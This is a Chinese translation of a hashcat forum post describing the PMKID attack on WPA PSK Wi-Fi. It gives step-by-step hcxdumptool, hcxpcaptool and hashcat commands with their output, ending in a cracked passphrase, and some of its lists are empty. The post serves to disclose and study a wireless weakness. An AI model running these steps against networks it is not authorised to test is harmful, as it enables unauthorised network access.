原文:https://hashcat.net/forum/thread-7717.html
在这篇文章中,我将为大家介绍一种破解WPA PSK(Pre-Shared Key,预共享密钥)密码的新型技术。
概述
为了利用该新型攻击技术,您需要以下工具:
实际上,这种新型攻击手段,是笔者在探索针对新发布的WPA3安全标准的过程中偶然发现的。由于WPA3协议是建立在名为"同等身份认证"(SAE)的现代密钥建立协议基础之上的,所以,针对WPA3协议的攻击将更加难以实施。
与现有攻击手法相比,该新型攻击技术的主要不同之处在于,它无需捕获完整的EAPOL 4次握手数据。相反,新型攻击方法只需单个EAPOL帧中的RSN IE(Robust Security Network Information Element,鲁棒安全网络信息元素)数据即可。
目前,虽然我们无法确切知道哪些供应商或多少台路由器面临这种新型攻击的威胁,但我们认为,该技术至少可以有效攻击所有启用了漫游功能(大多数现代路由器都支持该功能)的802.11i/p/q/r网络。
这种新型攻击技术的主要优点如下所示:
攻击技术详解
RSN IE是可选字段,常见于802.11管理帧中。其中,RSN的功能之一就是PMKID。
PMKID是通过HMAC-SHA1计算得到的,其中密钥为PMK,数据部分是由固定字符串标签“PMK Name”、接入点的MAC地址和基站的MAC地址串联而成。
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
由于PMK与普通的EAPOL四次握手相同,因此,这是一种非常理想的攻击向量。
我们需要的所有数据,可以从AP收到第一个EAPOL帧中获得。
攻击过程:
1.运行hcxdumptool,从AP请求PMKID,并将接收到的帧(以pcapng格式)转储到文件中。
$ ./hcxdumptool -o test.pcapng -i wlp39s0f3u4u5 --enable_status
上述命令的输出结果如下所示:
start capturing (stop with ctrl+c)
INTERFACE:...............: wlp39s0f3u4u5
FILTERLIST...............: 0 entries
MAC CLIENT...............: 89acf0e761f4 (client)
MAC ACCESS POINT.........: 4604ba734d4e (start NIC)
EAPOL TIMEOUT............: 20000
DEAUTHENTICATIONINTERVALL: 10 beacons
GIVE UP DEAUTHENTICATIONS: 20 tries
REPLAYCOUNTER............: 62083
ANONCE...................: 9ddca61888470946305b27d413a28cf474f19ff64c71667e5c1aee144cd70a69
如果AP收到我们的请求数据包并且支持发送PMKID的话,不久就会收到"FOUND PMKID"消息:
[13:29:57 - 011] 89acf0e761f4 -> 4604ba734d4e <ESSID> [ASSOCIATIONREQUEST, SEQUENCE 4]
[13:29:57 - 011] 4604ba734d4e -> 89acf0e761f4 [ASSOCIATIONRESPONSE, SEQUENCE 1206]
[13:29:57 - 011] 4604ba734d4e -> 89acf0e761f4 [FOUND PMKID]
注意:根据wifi通道上的噪音情况的不同,可能需要过一段时间才能收到PMKID。我们建议,如果运行hcxdumptool超过10分钟还没收到PMKID,那么就可以放弃了。
2.运行hcxpcaptool,将捕获的数据从pcapng格式转换为hashcat可以接受的哈希格式。
$ ./hcxpcaptool -z test.16800 test.pcapng
上述命令的输出结果如下所示:
start reading from test.pcapng
summary:
--------
file name....................: test.pcapng
file type....................: pcapng 1.0
file hardware information....: x86_64
file os information..........: Linux 4.17.11-arch1
file application information.: hcxdumptool 4.2.0
network type.................: DLT_IEEE802_11_RADIO (127)
endianess....................: little endian
read errors..................: flawless
packets inside...............: 66
skipped packets..............: 0
packets with FCS.............: 0
beacons (with ESSID inside)..: 17
probe requests...............: 1
probe responses..............: 11
association requests.........: 5
association responses........: 5
authentications (OPEN SYSTEM): 13
authentications (BROADCOM)...: 1
EAPOL packets................: 14
EAPOL PMKIDs.................: 1
1 PMKID(s) written to test.16800
写入文件的内容如下所示:
2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf0e761f4*ed487162465a774bfba60eb603a39f3a
各列(皆为十六进制编码)含义如下所示:
注意:我们建议为hcxpcaptool使用选项-E -I和-U,当然,这不是必须的。我们可以使用这些文件来“饲喂”hashcat,并且通常会产生非常好的效果。
$ ./hcxpcaptool -E essidlist -I identitylist -U usernamelist -z test.16800 test.pcapng
3.运行hashcat,完成相应破解工作。
实际上,我们可以像破解其他哈希密码那样来攻击这个哈希值。在这里,我们需要使用的哈希模式是16800。
$ ./hashcat -m 16800 test.16800 -a 3 -w 3 '?l?l?l?l?l?lt!'
上述命令的输出结果如下所示:
hashcat (v4.2.0) starting...
OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: GeForce GTX 1080, 2028/8112 MB allocatable, 20MCU
* Device #2: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU
* Device #3: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU
* Device #4: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Applicable optimizers:
* Zero-Byte
* Single-Hash
* Single-Salt
* Brute-Force
* Slow-Hash-SIMD-LOOP
Minimum password length supported by kernel: 8
Maximum password length supported by kernel: 63
Watchdog: Temperature abort trigger set to 90c
2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf0e761f4*ed487162465a774bfba60eb603a39f3a:hashcat!
Session..........: hashcat
Status...........: Cracked
Hash.Type........: WPA-PMKID-PBKDF2
Hash.Target......: 2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf...a39f3a
Time.Started.....: Thu Jul 26 12:51:38 2018 (41 secs)
Time.Estimated...: Thu Jul 26 12:52:19 2018 (0 secs)
Guess.Mask.......: ?l?l?l?l?l?lt! [8]
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....: 408.9 kH/s (103.86ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
Speed.Dev.#2.....: 408.6 kH/s (104.90ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
Speed.Dev.#3.....: 412.9 kH/s (102.50ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
Speed.Dev.#4.....: 410.9 kH/s (104.66ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
Speed.Dev.#*.....: 1641.3 kH/s
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 66846720/308915776 (21.64%)
Rejected.........: 0/66846720 (0.00%)
Restore.Point....: 0/11881376 (0.00%)
Candidates.#1....: hariert! -> hhzkzet!
Candidates.#2....: hdtivst! -> hzxkbnt!
Candidates.#3....: gnxpwet! -> gwqivst!
Candidates.#4....: gxhcddt! -> grjmrut!
HWMon.Dev.#1.....: Temp: 81c Fan: 54% Util: 75% Core:1771MHz Mem:4513MHz Bus:1
HWMon.Dev.#2.....: Temp: 81c Fan: 54% Util:100% Core:1607MHz Mem:4513MHz Bus:1
HWMon.Dev.#3.....: Temp: 81c Fan: 54% Util: 94% Core:1683MHz Mem:4513MHz Bus:1
HWMon.Dev.#4.....: Temp: 81c Fan: 54% Util: 93% Core:1620MHz Mem:4513MHz Bus:1
Started: Thu Jul 26 12:51:30 2018
Stopped: Thu Jul 26 12:52:21 2018
此外,它还支持散列模式16801,这样会跳过PMK的计算——正是该计算拖慢了WPA的破解速度。因NDA而无法将哈希值传输到远程破解装置时,预先计算PMK就会变得非常有用,这时可以在您的笔记本上运行hashcat。
模式16801通常需要用到预先计算的PMK列表,其中为长度为64的十六进制编码串,作为输入词列表使用。为了预先计算PMK,可以使用hcxkeys工具。但是,hcxkeys工具需要用到ESSID,因此,我们需要提前从客户端请求ESSID。